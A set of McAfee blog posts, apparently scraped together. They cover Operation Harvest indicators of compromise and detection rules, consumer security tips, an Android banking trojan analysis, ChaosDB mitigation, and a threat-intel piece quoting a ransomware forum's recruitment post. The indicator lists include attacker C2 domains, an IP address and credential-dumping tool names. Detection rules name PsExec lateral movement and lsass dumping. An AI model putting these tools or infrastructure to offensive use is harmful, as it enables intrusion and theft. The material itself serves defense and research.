| T1070.004 | Indicator removal on host | Where in the beginning of the campaign the adversary was sloppy, during the last months of activity they became more careful and started to remove evidence |
| T1041 | Exfiltration over C2 channel | Adversary used several C2 domains to interact with compromised hosts. |
| T1567 | Exfiltration over Web Service | Gathered information was stored as ‘rar’ files on the internet-facing server, whereafter they were downloaded by a specific ip range. |
| T1071.004 | Application layer protocol: DNS | Using DNS tunneling for the C2 traffic of the PlugX malware |
Note: the indicators shared are to be used in a historical and timeline-based context, ranging from 2016 to March 2021.
PlugX C2:
| sery(.)brushupdata(.)com |
| Dnssery(.)brushupdata(.)com |
| Center(.)asmlbigip(.)com |
Tools:
Mimikatz
PsExec
RottenPotato
BadPotato
PlugX malware:
f50de0fae860a5fd780d953a8af07450661458646293bfd0fed81a1ff9eb4498
26e448fe1105b5dadae9b7607e3cca366c6ba8eccf5b6efe67b87c312651db01
e9033a5db456af922a82e1d44afc3e8e4a5732efde3e9461c1d8f7629aa55caf
3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe
Winnti:
800238bc27ca94279c7562f1f70241ef3a37937c15d051894472e97852ebe9f4
c3c8f6befa32edd09de3018a7be7f0b7144702cb7c626f9d8d8d9a77e201d104
df951bf75770b0f597f0296a644d96fbe9a3a8c556f4d2a2479a7bad39e7ad5f
Winnti C2: 185.161.211.97
Tools:
PSW64 6e983477f72c8575f8f3ff5731b74e20877b3971fa2d47683aff11cfd71b48c6
NTDSDumpEx 6db8336794a351888636cb26ebefb52aeaa4b7f90dbb3e6440c2a28e4f13ef96
NBTSCAN c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e
NetSess ddeeedc8ab9ab3b90c2e36340d4674fda3b458c0afd7514735b2857f26b14c6d
Smbexec e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee
Wmiexec 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8
Mimikatz
RAR command-line
TCPdump
The post Operation ‘Harvest’: A Deep Dive into a Long-term Campaign appeared first on McAfee Blog.
McAfee Enterprise’s Advanced Threat Research (ATR) team provided deep insight into a long-term campaign Operation Harvest. In the blog, they detail the MITRE Tactics and Techniques the actors used in the attack. In this blog, our Pre-Sales network defenders describe how you can defend against a campaign like Operation Harvest with McAfee Enterprise’s MVISION Security Platform and security architecture best practices.
Operation Harvest, like other targeted attack campaigns, leverages multiple techniques to access the network and capture credentials before exfiltrating data. Therefore, as a Network Defender you have multiple opportunities to prevent, disrupt, or detect the malicious activity. Early prevention, identification and response to potentially malicious activity is critical for business resilience. Below is an overview of how you can defend against attacks like Operation Harvest with McAfee’s MVISION Security Architecture.
Throughout this blog, we will provide some examples of where MVISION Security Platform could help defend against this type of attack.
As Network Defenders our goal is to prevent, detect and contain the threat as early as possible in the attack chain. That starts with using threat intelligence, from blogs or solutions like MVISION Insights to get prepared and using tools like MITRE Attack Navigator to assess your defensive coverage. The ATR blog details the techniques, indicators and tools used by the attackers. Many of the tools used in Operation Harvest are common across other threat actors and detection details for PlugX, and Winnti are already documented in MVISION INSIGHTS.
Get a quick overview of the PlugX tool:
Easily search for or export PlugX IOCs right from MVISION Insights:
Get a quick overview of the Winnti tool:
Easily search for or export Winnti IOCs right from MVISION Insights:
Cross Platform Hunting Rules for Winnti:
MVISION Insights is also updated with the latest technical intelligence on Operation Harvest including a summary of the threat, prevalence, indicators of compromise and recommended defensive countermeasures.
In this attack, the initial access involved a compromised web server. Over the last year we have seen attackers increasingly use initial access vectors beyond spear-phishing, such as compromising remote access systems or supply chains. The exploiting of public-facing vulnerabilities for Initial Access is a technique associated with Operation Harvest and other APT groups to gain entry. Detecting this activity and stopping it is critical to limiting the abilities of the threat actor to further their execution strategy. Along with detecting the ongoing activity, it is also imperative to verify critical vulnerabilities are patched and configurations are security best practice to prevent exploitation. MVISION UCE provides visibility into threats, vulnerabilities, and configuration audits mapped to the MITRE ATT&CK Framework for protection against suspicious activity.
Many customer-facing applications and web servers are hosted on cloud infrastructure. As a Network Defender, gaining visibility and monitoring for misconfigurations on the infrastructure platforms is critical as this is increasingly the entry point for an attacker. MVISION Cloud Native Application Protection Platform (CNAPP) provides a continuous assessment capability for multiple cloud platforms in a single console so you can quickly correct misconfigurations and harden the security posture across AWS, AZURE or Google Cloud Platforms.
The attackers uploaded several known or potentially malicious tools to compromised systems. Many of these tools were detected on installation or execution by ENS Threat Prevention or Adaptative Threat Prevention Module. The following is a sample of the Threat Event log from ePolicy Orchestrator (ePO) from our testing.
You can easily search for these events in ePO and investigate any systems with detections.
For best protection turn on Global Threat Intelligence (GTI) for both Threat Prevention and Adaptive Threat Protection modules. Ensure ATP Rules 4 (GTI File Reputation) and 5 (URL Reputation) are enabled in ATP. Global Threat Intelligence is updated with the latest indicators for this attack as well.
Additionally, based on other observables in this attack, we believe there are several other Adaptive Threat Prevention Rules that could prevent or identify potentially malicious activity on the endpoint or server. Monitor especially for these ATP events in the ePO threat event logs:
Rule 269: Detects potentially malicious usage of WMI service to achieve persistence
Rule 329: Identify suspicious use of Scheduled Tasks
Rule 336: Detect suspicious payloads targeting network-related services or applications via dual use tools
Rule 500: Block lateral movement using utilities such as Psexec from an infected client to other machines in the network
Rule 511: Detect attempts to dump sensitive information related to credentials via lsaas
Analysis will continue and additional ATP rules we think relate will be added to mitigation guidance in MVISION Insights.
ENS with Expert Rules
Expert Rules are a powerful, customizable signature language within ENS Threat Prevention Module. For this attack, you could use Expert Rules to identify potential misuse of Psexec or prevent execution or creation of certain file types used such as .rar files.
Additional guidance on creating your own Expert Rules and link to our repository are here:
How to Use Expert Rules in ENS to Prevent Malicious Exploits
Per standard practice, we recommend that customers test this rule in report mode before applying in block mode.
Like other attacks exploiting critical vulnerabilities, attackers may gain command and control over exploited systems to deliver payloads or other actions. MVISION EDR can both identify many command-and-control techniques such as Cobalt Strike beacons. In this case, MVISION EDR would have logged the DNS and HTTP connection requests to the suspicious domains and an SOC analysts could use Real Time and Historical search to hunt proactively for compromised machines.
Additionally, Unified Cloud Edge (UCE – SWG) can prevent access to risky web sites using threat intelligence, URL reputation, behaviour analysis and remote browser isolation. Ensure you have a strong web security policy in place and are monitoring logs. This is a great control to identify potentially malicious C2 activity.
The adversary used several techniques and tools to elevate privileges and run Mimikatz to steal credentials. In our simulation, MVISION EDR proactively identified the attempt to download and execute in memory a Mimikatz PowerShell script.
We simulated the attacker malicious attempt using potato tools reproducing a generic privilege escalation. From the EDR monitoring process tree we could observe the sequence of events with a change in terms of user name from a user account to SYSTEM.”
We started a guided investigation on the affected system. Analytics on the data identified anomalies in user behavior. Guided investigations make easier to visualize complex data sets and interconnections between artifacts and systems.
The attackers used a common dual use system utility, in this case Psexec.exe, to move laterally. In many cases, the malicious use of legitimate system tools is difficult to detect with signature-based detection only. MVISION EDR uses a combination of behaviour analytics and threat intelligence to proactively identify and flag a high severity alert on malicious use of Psexec for lateral movement.
Psexec.exe used for lateral movement:
The threat actors behind Operation Harvest utilized various tools to elevate privileges and exfiltrate data out of the impacted environment. Visualizing anomalies in user activity and data movement can be used to detect out of the ordinary behavior that can point to malicious activity going on in your environment. MVISION UCE will monitor user behavior and provide anomalies for the security team to pinpoint areas of concern for insider or external adversarial threats.
Identifying User Access Anomalies with UCE:
Identifying Data Transfer Anomalies with UCE:
MVISION Security Platform provides defense in depth to prevent, disrupt or detect many of the techniques used in Operation Harvest. As a network defender, focus on early prevention or detection of the techniques to better protect your organization against cyber-attacks.
The post McAfee Enterprise Defender’s Blog: Operation Harvest appeared first on McAfee Blog.
Some scams can make a telltale sound—rinnng, rinnng! Yup, the dreaded robocall. Not only are they annoying, but they can also hit you in the pocketbook.
In the U.S., unwanted calls rank as the top consumer complaint reported to the Federal Communications Commission (FCC), partly because scammers have made good use of spoofing technologies that serve up phony caller ID numbers. As a result, that innocent-looking phone number may not be innocent at all.
Whether the voice on the other end of the smartphone is recorded or an actual person, the intent behind the call is likely the same—to scam you out of your personal information, money, or both. Callers such as these may impersonate banks, government agencies, insurance companies, along with any number of other organizations that give them an excuse to demand payment, financial information, or ID numbers.
And some of those callers can sound rather convincing. Others, well, they’ll just get downright aggressive or threatening. One of the most effective tools these scam calls use is a sense of urgency and fear, telling you that there’s a problem right now and they need your information immediately to resolve whatever bogus issue they’ve come up with. That right there is a sign you should take pause and determine what’s really happening before responding or taking any action.
Whatever form these unwanted calls take, there are things you can do to protect yourself and even keep you from getting them in the first place. These five tips will get you started:
Okay, maybe you can file this one under “obviously.” Yet be aware that scammers excel at spoofing. They can make a call look like it’s local or just familiar enough. If you get caught off guard and answer a spammy call, hang up immediately. If you’re unsure about the number, you’re better off letting your voicemail screen the call for you. Picking up the phone to determine if a call is legit or not could help a scammer verify that you have a valid line, which could lead to more nuisance calls down the road.
So, let’s say you let an unknown call go through to voicemail. The call sounds like it’s from a bank or business with news of an urgent matter. If you feel the need to follow up, get a legitimate customer service number from a statement, bill, or website of the bank or business in question so you can verify the situation for yourself. Calling back the number captured by your phone or left in voicemail could play right into the hands of a scammer.
As you can see, scammers love to play the role of an imposter and will tell you there’s something wrong with your taxes, your account, or your bank statement. Some of them can be quite convincing, so if you find yourself in a conversation where you don’t feel comfortable with what’s being said or how it’s being said, hang up and follow up bank or business as called out above. In all, look out for pressure or scare tactics and keep your info to yourself.
Several nations provide such a service, effectively a list that legitimate telemarketers will reference before making their calls. While this may not prevent scammers from ringing you up, it can cut down on unsolicited calls in general. For example, the U.S., Canada, and the UK each offer do not call registries.
Many mobile carriers provide additional apps and services that can block unwanted calls, often as part of your smartphone’s service plan. There are third-party apps that do this as well. Yet do your research. You’ll want to see if those apps are legitimate and if they can effectively let “good” calls through without blocking them.
While security software and apps won’t block robocalls, they increase the security of your phone overall, which can protect both you and your data. You have a couple of options here. You can grab comprehensive security software that protects all of your devices or pick up an app in Google Play or Apple’s App Store. This way, you’ll have malware, web, and device security that’ll help you stay safe on your phone in general.
Taken together, these steps can help you beat or outright block unwanted calls like robocalls—and be safer (and maybe less annoyed) as a result.
The post Smartphone Security: Five Steps Beating and Blocking Robocalls appeared first on McAfee Blog.
Authored by Fernando Ruiz
McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico.
McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants.
The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet.
During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible.
Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats:
Interested in the details? Here’s a deep dive on this malware
Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app:
– Fake Tool to report fraudulent movements that creates a sense of urgency:
“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically.
At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.”
– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security:
“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials.
If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does.
Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor.
In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.
In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data.
Table Headers: Date, From, Body Message, User, Password, Id:
This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development.
SHA256:
The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.
You may have heard the news that more than 300,000 Android users unknowingly downloaded banking trojan apps from the Google Play Store, malicious apps which bypassed the store’s security detections to install malware.
This news comes from a security report that found these trojans cleverly posed as apps that people commonly search for, such as QR code scanners, fitness apps, and a bevy of other popular types of utilities. In fact, these phony apps contain trojans that are designed to steal banking information, harvest keystrokes as you enter account info, and even grab screenshots of what you’re doing on your phone.
The trick with this malware is that it only activates after it is installed, which may or may not be apparent to the user. For the malware to activate, it requires an extra step, such as an in-app update (not through the Play Store), which then downloads the payload of malware onto the phone. In many cases, the bogus apps force users to make this update once the app is downloaded.
So, while the apps that appeared in the Play Store may not have contained malware, they deliver the payload onto the user’s phone post-purchase from other servers, which is a reason why these malicious apps have not been readily flagged.
All of this is just one more way hackers have found to infect smartphones with malware.
It’s no wonder that they target smartphones. They’re loaded with personal info and photos, in addition to credentials for banking and payment apps, all of which are valuable to loot or hold for ransom. Add in other powerful smartphone features like cameras, microphones, and GPS, and a compromised phone may allow a hacker to:
All of that adds up to one thing—a great, big “no thanks!”
So how do these sorts of malicious apps work? By posing as legitimate apps, they can end up on your phone and gain broad, powerful permissions to files, photos, and functionality—or sneak in code that allows cybercriminals to gather personal info. As a result, that can lead to all kinds of headaches, ranging from a plague of popup ads to costly identity theft.
Here are a few recent examples of malicious apps in the news:
Again, “no thanks!” So, let’s see about steering clear of malicious apps like these.
The good news is that there are ways you can spot these imposters. Major app marketplaces like Google Play and Apple’s App Store do their part to keep their virtual shelves free of malware, as reported by Google and Apple themselves. Still, cybercriminals can find ways around these efforts. (That’s what they do, after all!) So, a little extra precaution on your part will help you stay safer. These steps can help:
Another way cyber criminals weasel their way into your device is by getting permissions to access things like your location, contacts, and photos—and they’ll use sketchy apps to do it. (Consider the long-running free flashlight app scams mentioned above that requested up to more than 70 different permissions, such as the right to record audio, video, and access contacts.) So, pay close attention to what permissions the app is requesting when you’re installing it. If it’s asking for way more than you bargained for, like a simple game wanting access to your camera or microphone, it may be a scam. Delete the app and find a legitimate one that doesn’t ask for invasive permissions like that.
Additionally, you can check to see what permissions an app may request before downloading the app. In Google Play, scroll down the app listing and find “About this app.” From there, click “App permissions,” which will provide you with an informative list. In the iOS App Store, scroll down to “App Privacy” and tap “See Details” for a similar list. If you’re curious about permissions for apps that are already on your phone, iPhone users can learn how to allow or revoke app permissions here, and Android can do the same here.
While some apps (like games) rely on downloadable content from within the app, look out for apps that prompt you for an immediate update directly from the app. For the most part, the app you download from the store should be the most recent version and not require an update. Likewise, update your phone through the app store, not the app itself, which can help you avoid malware-based attacks like these.
As with so many attacks, cybercriminals rely on people clicking links or tapping “download” without a second thought. Before you download, take time to do some quick research, which may uncover a few signs that the app is malicious. Check out the developer—have they published several other apps with many downloads and good reviews? A legit app typically has quite a few reviews, whereas malicious apps may have only a handful of (phony) five-star reviews. Lastly, look for typos and poor grammar in both the app description and screenshots. They could be a sign that a hacker slapped the app together and quickly deployed it.
Even better than combing through user reviews yourself is getting a recommendation from a trusted source, like a well-known publication or from app store editors. In this case, much of the vetting work has been done for you by an established reviewer. A quick online search like “best fitness apps” or “best apps for travelers” should turn up articles from legitimate sites that can suggest good options and describe them in detail before you download.
Unlike Google Play and Apple’s App Store, which have measures in place to review and vet apps to help ensure that they are safe and secure, third-party sites may not have that process in place. In fact, some third-party sites may intentionally host malicious apps as part of a broader scam. Granted, cybercriminals have found ways to work around Google and Apple’s review process, yet the chances of downloading a safe app from them are far greater than anywhere else. Furthermore, both Google and Apple are quick to remove malicious apps once discovered, making their stores that much safer.
With all that we do on our phones, it’s important to get security software installed on them, just like we do on our computers and laptops. Whether you go with comprehensive security software that protects all of your devices or pick up an app in Google Play or Apple’s iOS App Store, you’ll have malware, web, and device security that’ll help you stay safe on your phone.
Hand-in-hand with installing security software is keeping your phone’s operating system up to date. Updates can fix vulnerabilities that cybercriminals rely on to pull off their malware-based attacks—it’s another tried and true method of keeping yourself safe and your phone running in tip-top shape.
Here are a few more things you can do:
Lastly, you can always ask yourself, “Do I really need this app?” One way to avoid malicious mobile apps is to download fewer apps overall. If you’re unsure if that free game is on the up-and-up or if the offer for that productivity app sounds a little too good, skip it. Look for a better option or pass on the idea altogether. As said earlier, cybercriminals really rely on us clicking and downloading without thinking. Staying on guard against mobile malware will cost you a few moments of your time, which is minimal compared to the potential costs of a hacked phone.
The post Before You Download: Steer Clear of Malicious Android Apps appeared first on McAfee Blog.
According to research from the FBI and FTC, cybercrimes against older adults cost more than $650 million in losses each year. Why? Unlike millennials and Generation Z, your grandparents weren’t born with a smartphone in their hands. On top of that, older adults tend to have more significant financial funds like retirement accounts, making them an ideal target for cybercriminals.
With Grandparent’s Day right around the corner, here’s a guide on how you can help keep your grandparents safe from the most common cybercrimes on the internet. Check out our top tips to share with your family to boost their confidence in their digital activities.
Cybercriminals constantly update their techniques to increase their chances of successfully stealing consumers’ data. Oftentimes, they lean on current events to create eye-catching subject lines for phishing emails, malicious links and attachments, and more. For example, criminals created COVID-19 phishing campaigns related to proof of vaccination or the surging delta variant since they know the pandemic is top-of-mind for many consumers. Encourage your grandparents to keep an eye on the news for the latest online scams so they have a better chance of recognizing fraudulent activity. Or better yet, send them a weekly digest of relevant consumer security news or call them when you come across a common scam. Remind them that knowledge is power in online security.
The secret to beating cybercriminals at their own game is to think like one. Look at your online behaviors and your data from their perspective. Encourage your grandparents to consider what would make themselves ideal targets. Perhaps they have large retirement funds. If their online bank account is secured with a password that they use for multiple online accounts, they’ve made it that much easier for a hacker to access their financial data if their credentials are exposed in a breach.
Teaching your grandparents and other family members how to think like a cybercriminal can reveal possible points of entry and identify where they can tighten up their security to protect their devices and information from online threats.
With multiple layers of protection in place, your grandparents can navigate the internet more confidently. Here are a few easy cyber habits you can pass on to your grandparents:
The next step to a confident digital life is reporting fraud. Let your grandparents know that even if the fraud attempt was unsuccessful, they should report the incident. Any consumer can report online scams at the FBI’s IC3 website. Credit, debit, or bank account fraud should be immediately reported to your bank, as well.
Use a solution like McAfee Total Protection, which can help protect devices against malware, phishing attacks, and other threats. It also includes McAfee WebAdvisor, a tool that identifies malicious websites, and identity theft protection. Having a security solution in place can help provide greater peace of mind so you and your family can live a more confident digital life.
The post How to Talk to Your Grandparents About Cybersecurity appeared first on McAfee Blog.
Attackers have made it known that Microsoft is clearly in their cross hairs when it comes to potential targets. Just last month the US Justice Department disclosed that Solorigate continues to comprise security when they confirmed over 80% of Microsoft email accounts were breached across four different federal prosecutors offices. In August Microsoft released another security patch (the second of two) for PrintNightmare, which allows remote attackers system level escalation of all Windows clients and servers. Since Microsoft still has the dominate market share for desktop OS, email/office services, along with the second largest market share in cloud computing, any security vulnerability found within the Microsoft ecosystem has cascading effects across the board.
Based on this, we wanted to let our customers know our response to the latest Microsoft security vulnerability. On August 12, Microsoft confirmed a security vulnerability dubbed ChaosDB whereby attackers can download, delete, or modify all data stored within the Azure Cosmos DB service. In response to the vulnerability Microsoft has since disabled the feature that can be exploited and notified potentially affected customers. However, according to the research team that identified the vulnerability they believe the actual number of customers affected is much higher and has the potential to expose thousands of companies dating back to 2019.
Cosmos DB is Microsoft’s fully managed NoSQL database service hosted on Azure which boasts customers such as Mars, Mercedes Benz, and Chipotle. The ChaosDB vulnerability affects customers that use the Jupyter Notebook feature. This built-in feature allows customers to share data visualizations and narrative text based on the data stored in Cosmos DB. Unfortunately, the Jupyter Notebook feature has been enabled by default for customers since February 2021, and fixing the vulnerability is no easy task. Because the vulnerability exposes public keys that can be used to access other Cosmos databases, the resolution requires that customers manually rotate their Cosmos DB primary keys – which are typically long-lived keys and used across multiple services or applications.
For customers using Cosmos DB, we highly recommend following Microsoft’s guidance and rotate their keys, but we also recognize that business can’t stop and unless you’ve automated key rotation, that task may take time and coordination across multiple teams. This blog will help provide some assistance on how one of our newest services can help identify and mitigate ChaosDB.
MVISION Cloud Native Application Protection Platform (CNAPP) is a new service we launched this year that provides complete visibility and security into services and applications built on top of cloud native solutions. MVISION CNAPP helps customers secure the underlying platform like Amazon Web Services (AWS), Microsoft Azure, and Google Cloud used to build applications but also provides complete build and runtime protection for applications using virtual machines, Docker, and Kubernetes.
As part of this service, MVISION CNAPP has a feature called the custom policy builder. The custom policy builder is a great way for customers to audit services across their entire cloud environment in real time to identify risky configurations but can also be used to curate a specific policy to the customer’s unique environment based on several API properties.
How does the custom policy builder work? Once MVISION CNAPP is connected to a customer’s AWS, Azure, or GCP account, the custom policy builder will list all the supported services within each cloud platform. Along with all the supported services, the custom policy builder will also list all the available API attributes for each of those services – attributes that customers can use as triggers for creating security incidents and automatic responses. A good example of the capability would be “if MVISION CNAPP identifies a public Amazon S3 bucket, performs a scan to on the bucket objects to identify any sensitive data and alerts teams via a SNS notification.” When new vulnerabilities like ChaosDB hit the wire, the custom policy builder is purpose built to help customers identify and understand their risk to anything new.
So how can CNAPP help identify if you’re at risk for ChaosDB? Essentially, you’ll want to answer three questions to understand your risk:
To find answers to these questions, I’ll show how you can create several custom policies using the MVISION CNAPP custom policy builder, but you can combine and mix these rules based on your needs.
In the first example, I’m going to answer the first two questions to see if we’re running Cosmos DB and if the service has unrestricted network access. Under the MVISION CNAPP menu I’ll click on Policy | Configuration Audit | Actions | Create Policy. From there I’ll give my policy a name and select Microsoft Azure | Next. The custom policy builder will automatically prepopulate all the available services in Azure when I click on Select Resource Type. Select Azure Cosmos DB and the custom policy builder will now show me all the available API attributes for that service. Start typing for the string of properties.publicNetworkAccess with a statement of equals to Enabled with a severity level you assign. Click Test Rule and the custom policy builder will check if you’re running any Cosmos DBs that allow access from any source.
Figure 1: Custom Policy Builder Screenshot
If the results of the custom policy show any incidents where Cosmos DB has unrestricted access, you’ll want to immediately change that setting by Configuring an IP firewall in Azure Cosmos DB.
Now let’s see if we have any Cosmos databases where we haven’t set firewall rules. These rules can be based on a set of IP addresses or private end points and should have been set when you created the DBs, but let’s confirm. You’ll follow the same steps as before but select the following criteria for the policy using AND statements:
Figure 2: Custom Policy Builder Screenshot 2
If you see any results from the custom policy, you’ll want to review the IP address and endpoints to make sure you’re familiar with access from those sources. If you’re not familiar with those sources or the sources are too broad, follow Configuring an IP firewall in Azure Cosmos DB to make the necessary changes.
Finally, let’s show how MVISION CNAPP can audit to see what is possible if your keys were exposed. In general, database keys are issued out to applications so they can access data. Rarely would you issue keys to make configuration changes or write changes to your database services. If you granted keys that can make changes, you may have issued an overly permissive key. Eventually you’ll want to regenerate those keys, but in the meantime let’s identify if the keys can make write changes.
We’ll follow the same procedure as before but use the properties.disableKeyBasedMetadataWriteAccess equals to false
Figure 3: Custom Policy Builder Screenshot 3
Like in the previous examples, if you find any results here that show you’ve issued keys that can make write changes, you’ll want to disable the feature by following Disable key based metadata write access.
Our custom policy builder is just one of the many features we’ve introduced with MVISION CNAPP. I invite you to check out the solution by visiting http://mcafee.com/CNAPP for more information or request a demo at https://mcafee.com/demo.
The post How MVISION CNAPP Helps Protect Against ChaosDB appeared first on McAfee Blog.
Co-authored with Intel471 and McAfee Enterprise Advanced Threat Research (ATR) would also like to thank Coveware for its contribution.
McAfee Enterprise ATR believes, with high confidence, that the Groove gang is associated with the Babuk gang, either as a former affiliate or subgroup. These cybercriminals are happy to put aside previous Ransomware-as-a-Service hierarchies to focus on the ill-gotten gains to be made from controlling victim’s networks, rather than the previous approach which prioritized control of the ransomware itself.
For many years the world of Ransomware-as-a-Service (RaaS) was perceived as a somewhat hierarchical and structured organization. Ransomware developers would advertise their RaaS program on forums and gracefully open up slots for affiliates to join their team to commit crime. The RaaS admins would conduct interviews with potential affiliates to make sure they were skilled enough to participate. Historically, i.e., with CTB locker, the emphasis was on affiliates generating enough installs via a botnet, exploit kits or stolen credentials, but it has shifted in recent years to being able to penetrate and compromise a complete network using a variety of malicious and non-malicious tools. This essentially changed the typical affiliate profile towards a highly-skilled pen-tester/sysadmin.
Figure 1. Recruitment posting for CTB locker from 2014
Figure 2. Recruitment posting for REvil from 2020
Experts often describe the hierarchy of a conventional organized crime group as a pyramid structure. Historically, La Cosa Nostra, drug cartels and outlaw motor gangs were organized in such a fashion. However, due to further professionalization and specialization of the logistics involved with committing crime, groups have evolved into more opportunistic network-based groups that will work together more fluidly, according to their current needs.
While criminals collaborating in the world of cybercrime isn’t a novel concept, a RaaS group’s hierarchy is more rigid compared to other forms of cybercrime, due to the power imbalance between the group’s developers/admins and affiliates.
For a long time, RaaS admins and developers were prioritized as the top targets, often neglecting the affiliates since they were perceived as less-skilled. This, combined with the lack of disruptions in the RaaS ecosystem, created an atmosphere where those lesser-skilled affiliates could thrive and grow into very competent cybercriminals.
However, this growth isn’t without consequences. Recently we have observed certain events that might be the beginning of a new chapter in the RaaS ecosystem.
Trust in the cybercriminal underground is based on a few things, such as keeping your word and paying people what they deserve. Just like with legitimate jobs, when employees feel their contributions aren’t adequately rewarded, those people start causing friction within the organization. Ransomware has been generating billions of dollars in recent years and with revenue like that, it’s only a matter of time before some individuals who believe they aren’t getting their fair share become unhappy.
Recently, a former Conti affiliate was unhappy with their financial portion and decided to disclose the complete Conti attack playbook and their Cobalt Strike infrastructure online, as shown in the screenshot below.
Figure 3. Disgruntled Conti affiliate
In the past, ATR has been approached by individuals affiliated with certain RaaS groups expressing grudges with other RaaS members and admins, claiming they haven’t been paid in time or that their share wasn’t proportionate to the amount of work they put in.
Recently, security researcher Fabian Wosar opened a dedicated Jabber account for disgruntled cybercriminals to reach out anonymously and he stated that there was a high level of response.
Figure 4. Jabber group for unhappy threat actors
Moreover, the popular cybercrime forums have banned ransomware actors from advertising since the Colonial Pipeline attack. Now, the groups no longer have a platform on which to actively recruit, show their seniority, offer escrow, have their binaries tested by moderators, or settle disputes. The lack of visibility has made it harder for RaaS groups to establish or maintain credibility and will make it harder for RaaS developers to maintain their current top tier position in the underground.
After a turbulent shutdown of Babuk and the fallout from the Colonial Pipeline and Kaseya attacks, it seems that some of the ransomware-affiliated cybercriminals have found a home in a forum known as RAMP.
Figure 5. RAMP posting by Orange, introducing Groove and explaining relationships
Translated Posting
When analyzing RAMP and looking at the posting above from the main admin Orange, it’s hard to ignore numerous references that are made: From the names chosen, to the avatar of Orange’s profile, which happens to be a picture of a legitimate cyber threat intelligence professional.
Orange
Hello, friends! I am happy to announce the first contest on Ramp.
Let’s make it clear that we don’t do anything without a reason, so at the end of the day, it’s us who will benefit most from this contest
Here’s the thing: besides my new projects and old, I have always had this unit called
GROOVE — I’ve never revealed its name before and it’s never been mentioned directly in the media, but it does exist — we’re like Mossad (we are few and aren’t hiring). It’s Groove whom the babuk ransomware needs to thank for its fame.
Groove rocks, and babuk stinks
Challenge: Using a PHP stack+MYSQL+Bootstrap, code a standard ransomware operators’ blog in THE RUSSIAN LANGUAGE with the following pages:
1) About us
The description of a group, which must be editable from the admin panel and use the same visual editor as our forum.
2) Leaks.
No hidden blogs, just leaks.
Use standard display, just like other ransomware operators’ blogs do.
3) News
A news page; it must be possible to add and edit news via the admin panel.
We’ll be accepting your submissions up to and including August 30.
Who will rate the entries and how?
There will be only one winner. I, Orange, will rate the usability and design of blogs. MRT will rate each entry’s source code and its security. In addition to USD 1k, the winner will most likely get a job in the RAMP team!
Now, for those of you who are interested in entirely different things:
1) No, we are not with the Kazakh intelligence agency.
https://www.fr.sogeti.com/globalassets/france/avis-dexperts–livres-blancs/cybersecchronicles_-_babuk.pdf
2) Groove has never had a ransomware product, nor will that ever change.
3) The babuk team doesn’t exist. We rented the ransomware from a coder who could not shoulder the responsibility, got too scared and decided to leave an error in the ESX builder — naturally, to give us a reason to chuck him out (his motives? Fxxx if I know)
babuk 2.0, which hit the headlines, is not to be taken seriously and must be regarded as nothing but a very stupid joke
4) GROOVE is first and foremost an aggressive financially motivated criminal organization dealing in industrial espionage for about two years. RANSOMWARE is no more than an additional source of income. We don’t care who we work with and how. You’ve got money? We’re in
RAMP was created in July 2021 by a threat actor TetyaSluha, who later changed their moniker to ‘Orange.’ This actor claimed the forum would specifically cater to other ransomware-related threat actors after they were ousted from major cybercrime forums for being too toxic, following the high-profile ransomware attacks against the Colonial Pipeline and Washington D.C.’s Metropolitan Police Department in the spring of 2021.
